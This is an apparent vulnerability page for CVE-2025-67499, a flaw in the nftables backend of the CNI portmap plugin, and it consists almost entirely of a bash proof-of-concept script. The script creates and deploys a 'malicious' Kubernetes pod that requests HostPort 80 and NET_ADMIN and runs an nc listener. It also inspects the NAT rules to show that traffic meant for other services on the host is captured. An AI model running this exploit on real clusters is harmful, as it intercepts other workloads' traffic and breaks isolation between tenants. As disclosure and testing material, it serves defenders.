CVE-2025-67499: CNI portmap插件nftables后端流量劫持漏洞

#!/bin/bash # CVE-2025-67499 PoC - CNI portmap nftables backend traffic hijacking # This PoC demonstrates how a malicious container can intercept traffic # intended for other services on the same host. # Prerequisites: # 1. Target system uses CNI with portmap plugin configured for nftables backend # 2. Attacker has ability to deploy containers to the target Kubernetes node # Step 1: Create a malicious pod definition requesting HostPort on port 80 cat << 'EOF' > malicious-pod.yaml apiVersion: v1 kind: Pod metadata: name: malicious-portmap-poc labels: app: poc-attack spec: containers: - name: attack-container image: busybox:latest command: ['sh', '-c', 'while true; do nc -l -p 80 -e echo "Intercepted traffic"; done'] ports: - containerPort: 80 hostPort: 80 # Request HostPort forwarding securityContext: capabilities: add: ['NET_ADMIN'] EOF # Step 2: Deploy the malicious pod to the target cluster kubectl apply -f malicious-pod.yaml # Step 3: Verify the nftables rule was created incorrectly # In vulnerable versions, this will show rules that match ONLY the port, # not the destination IP echo "Checking nftables rules for port 80..." sudo nft list chain ip nat PREROUTING # Step 4: Test traffic interception # Traffic sent to any service on port 80 on this host will be redirected # to the attacker's container instead of its intended destination echo "Send test traffic: curl http://<host-ip>:80" # Cleanup kubectl delete -f malicious-pod.yaml # Note: This vulnerability allows intercepting traffic that was not intended # for the attacking container, violating network isolation between containers.